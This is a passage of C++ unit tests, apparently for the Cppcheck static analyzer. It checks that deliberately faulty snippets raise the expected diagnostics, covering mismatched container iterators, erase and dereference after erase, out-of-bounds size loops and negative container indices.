[mismatchingContainers]\\n\"\n \"[test.cpp:13:15]: (error) Iterators of different containers 't.s.a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iteratorExpression() {\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(f().begin(), g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" auto size = f().end() - g().begin();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:26]: (error) Iterators of different containers 'A().f()' and 'A().g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A{} .f().begin(), A{} .g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:27]: (error) Iterators of different containers 'A{}.f()' and 'A{}.g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(begin(f()), end(g()), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:28]: (warning) Iterators to containers from different expressions 'f()' and 'g()' are used together. [mismatchingContainerExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().f().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(bar(f().begin()) == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" auto it = f().end() - 1;\\n\"\n \" f().begin() - it;\\n\"\n \" f().begin()+1 - it;\\n\"\n \" f().begin() - (it + 1);\\n\"\n \" f().begin() - f().end();\\n\"\n \" f().begin()+1 - f().end();\\n\"\n \" f().begin() - (f().end() + 1);\\n\"\n \" (void)std::find(f().begin(), it, 0);\\n\"\n \" (void)std::find(f().begin(), it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it, 0);\\n\"\n \" (void)std::find(f().begin(), f().end(), 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end(), 0);\\n\"\n \" (void)std::find(f().begin(), f().end() - 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end() - 1, 0);\\n\"\n \" (void)std::find(begin(f()), end(f()));\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()), 0);\\n\"\n \" (void)std::find(begin(f()), end(f()) - 1, 0);\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()) - 1, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:30]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == f().end()) {}\\n\"\n \" if(f().begin() == f().end()+1) {}\\n\"\n \" if(f().begin()+1 == f().end()) {}\\n\"\n \" if(f().begin()+1 == f().end()+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:34]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(std::begin(f()) == std::end(f())) {}\\n\"\n \" if(std::begin(f()) == std::end(f())+1) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:42]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f<1>().begin() == f<1>().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a.begin().x == b.begin().x) {}\\n\"\n \" if (begin(a).x == begin(b).x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list a, std::list b) {\\n\"\n \" if (*a.begin() == *b.begin()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(f().begin(1) == f().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const uint8_t* data, const uint32_t dataLength) {\\n\"\n \" const uint32_t minimumLength = sizeof(uint16_t) + sizeof(uint16_t);\\n\"\n \" if (dataLength >= minimumLength) {\\n\"\n \" char* payload = new char[dataLength - minimumLength];\\n\"\n \" std::copy(&data[minimumLength], &data[dataLength], payload);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& a, const std::vector& b) {\\n\" // #11469\n \" return (a.begin() - a.end()) == (b.begin() - b.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11469\n \" const std::vector* vec() const { return &v; }\\n\"\n \" const std::vector v;\\n\"\n \"};\\n\"\n \"void f(const S& a, const S& b) {\\n\"\n \" if (a.vec()->begin() - a.vec()->end() != b.vec()->begin() - b.vec()->end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iteratorSameExpression() {\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.begin(), v.begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().begin(), g().begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.end(), v.end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().end(), g().end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector::iterator g();\\n\"\n \"void f(std::vector v) {\\n\"\n \" std::for_each(g(), g(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\"\n \" std::for_each(it, it, [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n }\n\n void mismatchingContainerIterator() {\n check(\"std::vector to_vector(int value) {\\n\"\n \" std::vector a, b;\\n\"\n \" a.insert(b.end(), value);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Iterator 'b.end()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector f(std::vector a, std::vector b) {\\n\"\n \" a.erase(b.begin());\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Iterator 'b.begin()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n // #9973\n check(\"void f() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list& l = l2;\\n\"\n \" for (auto it = l.begin(); it != l.end(); ++it) {\\n\"\n \" if (*it == 1) {\\n\"\n \" l.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #10012\n check(\"struct a {\\n\"\n \" int b;\\n\"\n \" int end() { return b; }\\n\"\n \"};\\n\"\n \"void f(a c, a d) {\\n\"\n \" if (c.end() == d.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10467\n check(\"void f(std::array, N>& A) {\\n\"\n \" for (auto& a : A) {\\n\"\n \" auto it = std::find_if(a.begin(), a.end(), \\n\"\n \" [](auto i) { return i == 0; });\\n\"\n \" if (it != a.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10604\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(S& s, int m) {\\n\"\n \" s.v.erase(s.v.begin() + m);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11093\n check(\"struct S {\\n\"\n \" std::vector v1, v2;\\n\"\n \" void f(bool b) {\\n\"\n \" std::vector& v = b ? v1 : v2;\\n\"\n \" v.erase(v.begin());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12377\n check(\"void f(bool b) {\\n\"\n \" std::vector *pv;\\n\"\n \" if (b) {\\n\"\n \" std::vector& r = get1();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" std::vector& r = get2();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" std::vector::iterator it = pv->begin();\\n\"\n \" it = pv->erase(it, it + 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() {\\n\"\n \" std::vector* p = &v;\\n\"\n \" p->insert(std::find(p->begin(), p->end(), 0), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f(int i) {\\n\"\n \" std::vector* p = &v;\\n\"\n \" if (p->size() > i)\\n\"\n \" p->erase(p->begin() + i, p->end());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11067\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" std::list::const_iterator> li;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" v.erase(*li.begin());\\n\"\n \" li.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set& a, std::stack::iterator>& b) {\\n\"\n \" while (!b.empty()) {\\n\"\n \" a.erase(b.top());\\n\"\n \" b.pop();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& a, std::vector::iterator>& b) {\\n\"\n \" auto it = b.begin();\\n\"\n \" a.erase(*it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12443\n \" std::vector v;\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"void f() {\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it != N::v.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void* p) {\\n\" // #12445\n \" std::vector&v = *(std::vector*)(p);\\n\"\n \" v.erase(v.begin(), v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13408\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& i : v) {\\n\"\n \" if (std::distance(&*v.cbegin(), &i)) {}\\n\"\n \" } \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIteratorOutOfBounds() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.end()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.end();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.end() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.begin() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()-1' which is out of bounds. [eraseIteratorOutOfBounds]\\n\"\n \"[test.cpp:3:23]: (error) Dereference of an invalid iterator: v.begin()-1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, std::vector::iterator it) {\\n\"\n \" if (it == v.end()) {}\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Either the condition 'it==v.end()' is redundant or function 'erase()' is called on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" ((v).erase)(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n // Dereferencing invalid pointer\n void dereference() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:5] -> [test.cpp:6] -> [test.cpp:3] -> [test.cpp:7]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:5:22] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // #6554 \"False positive eraseDereference - erase in while() loop\"\n check(\"typedef std::map packetMap;\\n\"\n \"packetMap waitingPackets;\\n\"\n \"void ProcessRawPacket() {\\n\"\n \" packetMap::iterator wpi;\\n\"\n \" while ((wpi = waitingPackets.find(lastInOrder + 1)) != waitingPackets.end()) {\\n\"\n \" waitingPackets.erase(wpi);\\n\"\n \" for (unsigned pos = 0; pos < buf.size(); ) { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8509 Uniform initialization ignored for iterator\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator iter {ints.cbegin()};\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_break() { // #3644\n check(\"void f(std::vector &ints) {\\n\"\n \" std::vector::iterator iter;\\n\"\n \" for (iter=ints.begin();iter!=ints.end();++iter) {\\n\"\n \" if (*iter == 2) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (*iter == 3) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_member() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::iterator iter;\\n\"\n \" iter = ints.begin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n\n // Reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::reverse_iterator iter;\\n\"\n \" iter = ints.rbegin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n void dereference_auto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" auto iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:27] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto x = *myList.begin();\\n\"\n \" myList.erase(x);\\n\"\n \" auto b = x.first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const CXXRecordDecl *CXXRecordDecl::getTemplateInstantiationPattern() const {\\n\"\n \" if (auto *TD = dyn_cast(this)) {\\n\"\n \" auto From = TD->getInstantiatedFrom();\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void STLSize() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:11]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.length(); ++ii) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" do {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" ++i;\\n\"\n \" } while(ii <= foo.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (anything()) {\\n\"\n \" } else if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(1);\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" int ii = 0;\\n\"\n \" foo[ii] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for (B b : D()) {}\\n\" // Don't crash on range-based for-loop\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() + 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void STLSizeNoErr() {\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii < foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" if (ii == foo.size())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:11:16]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n {\n check(\"void f(const std::map &data) {\\n\"\n \" int i = x;\"\n \" for (int i = 5; i <= data.size(); i++)\\n\"\n \" data[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() - 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void negativeIndex() {\n check(\"void f(const std::vector &v) {\\n\"\n \" v[-11] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Array index -11 is out of bounds. [negativeContainerIndex]\\n\", errout_str());\n\n check(\"int f(int x, const std::vector& a) {\\n\"\n \" if (!(x < 5))\\n\"\n \" return a[x - 5];\\n\"\n \" else\\n\"\n \" return a[4 - x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::array values;\\n\"\n \"int get_value();\\n\"\n \"int compute() {\\n\"\n \" int i = get_value();\\n\"\n \" if( i < 0 || i > 5)\\n\"\n \" return -1;\\n\"\n \" int sum = 0;\\n\"\n \" for( int j = i+1; j < 7; ++j)\\n\"\n \" sum += values[j-1];\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int g() { return 0; } };\\n\" // #11831\n \"struct C {\\n\"\n \" int h() const { return b->g(); }\\n\"\n \" B* b;\\n\"\n \"};\\n\"\n \"struct O {\\n\"\n \" int f() const;\\n\"\n \" std::vector v;\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"int O::f() const { return v[c.h() - 1]; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #13196\n \" if (v.empty())\\n\"\n \" return;\\n\"\n \" int idx = -1;\\n\"\n \" for (int i = 0; i < v.size(); ++i) {\\n\"\n \" idx = i;\\n\"\n \" }\\n\"\n \" (void)v[idx];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n const auto oldSettings = settings; // TODO: get rid of this\n settings.daca = true;\n\n check(\"void f() {\\n\"\n \" const char a[][5] = { \\\"1\\\", \\\"true\\\", \\\"on\\\", \\\"yes\\\" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n settings = oldSettings;\n }\n\n void negativeIndexMultiline() {\n setMultiline();\n const auto oldSettings = settings; // TODO: get rid of this\n settings.verbose = true;\n\n check(\"bool valid(int);\\n\" // #11697\n \"void f(int i, const std::vector& v) {\\n\"\n \" if (!valid(i))\\n\"\n \" return;\\n\"\n \" if (v[i]) {}\\n\"\n \"}\\n\"\n \"void g(const std::vector& w) {\\n\"\n \" f(-1, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: warning: Array index -1 is out of bounds. [negativeContainerIndex]\\n\"\n \"[test.cpp:8:8]: note: Calling function 'f', 1st argument '-1' value is -1\\n\"\n \"[test.cpp:3:9]: note: Assuming condition is false\\n\"\n \"[test.cpp:5:9]: note: Negative array index\\n\",\n errout_str());\n\n settings = oldSettings;\n }\n\n void erase1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:7:5] -> [test.cpp:8:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" std::list::iterator i = ints.begin();\\n\"\n \" i = ints.erase(i);\\n\"\n \" *i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator i;\\n\"\n \" while (i != x.y.end())\\n\"\n \" i = x.y.erase(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2101\n check(\"void f(vector< std::list > &ints, unsigned int i)\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for(it = ints[i].begin(); it != ints[i].end(); it++) {\\n\"\n \" if (*it % 2)\\n\"\n \" it = ints[i].erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase2() {\n check(\"static void f()\\n\"\n \"{\\n\"\n \" for (iterator it = 